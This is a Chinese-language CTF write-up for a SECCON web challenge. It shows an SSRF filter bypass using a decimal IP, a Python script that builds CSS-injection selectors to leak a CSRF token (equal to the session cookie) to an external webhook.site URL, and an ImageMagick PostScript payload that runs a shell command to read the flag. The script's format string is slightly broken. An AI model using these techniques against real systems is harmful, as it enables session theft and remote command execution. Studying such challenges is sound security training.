题目信息
进入网站后注册用户,登录界面如下:
登录的请求为GET型。
登陆后主界面如下:
Message to admin,用于给管理员发送信息,包含Normal和Emergency模式,普通模式下css参数为空,标签无颜色。
在紧急模式下,URL会增加css参数的值,存在CSS注入,并且为base64编码,标签添加CSS样式,标签变红。
提交表单页面的的csrf令牌和用户的cookie相同。
Take a screenshot,根据链接进行截屏操作。
Upload image,只有本地登录的用户才能使用此功能。
解题思路
首先本地登录账户,激活Upload image,再进一步操作。
Take a screenshot处存在SSRF漏洞,我们可以发送登录请:
并且我们发现能够登陆成功,尝试使用本地登录,发现进行了过滤。
http://127.0.0.1/?user=rai4over&pass=test123&action=login
这里我们直接转化IP地址为10进制,成功绕过过滤,激活Upload image功能。
截屏处登陆后,本地账户会话状态会在截屏功能一直维持,我们可以带着状态访问其他页面。
想办法获得这个登陆这个本地账户,也就是获得本地账户的cookie,我们就能轻松使用Upload image功能。
根据csrf令牌等于cookie的条件,并且该页面css参数存在css注入,我们可以在发送信息页面窃取csrf令牌,获得cookie。
脚本如下:
import base64
import string
import urllib
string_list = string.ascii_lowercase + string.digits
css = ""
for x in string_list:
css += """input[name="csrf"][value^="9bbc0ec46162afe2aaf796"] {{
background: url(https://webhook.site/6aca0f2a-f21b-4f56-9c12-88f72c4e238a/9bbc0ec46162afe2aaf796);
}}""".format(s1=x, s2=x)
css = urllib.quote(base64.b64encode(css))
URL = "http://2130706433/?msg=11&action=msgadm2&css=" + css
print(URL)
最终获得cookie为9bbc0ec46162afe2aaf796
成功登录本地账户
进入图片上传模块,上传图片后发现后有转换图片格式的功能
ImageMagick命令执行漏洞,设置上传内容,然后转换图片格式即可执行命令。
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
Flag为SECCON
领取专属 10元无门槛券
私享最新 技术干货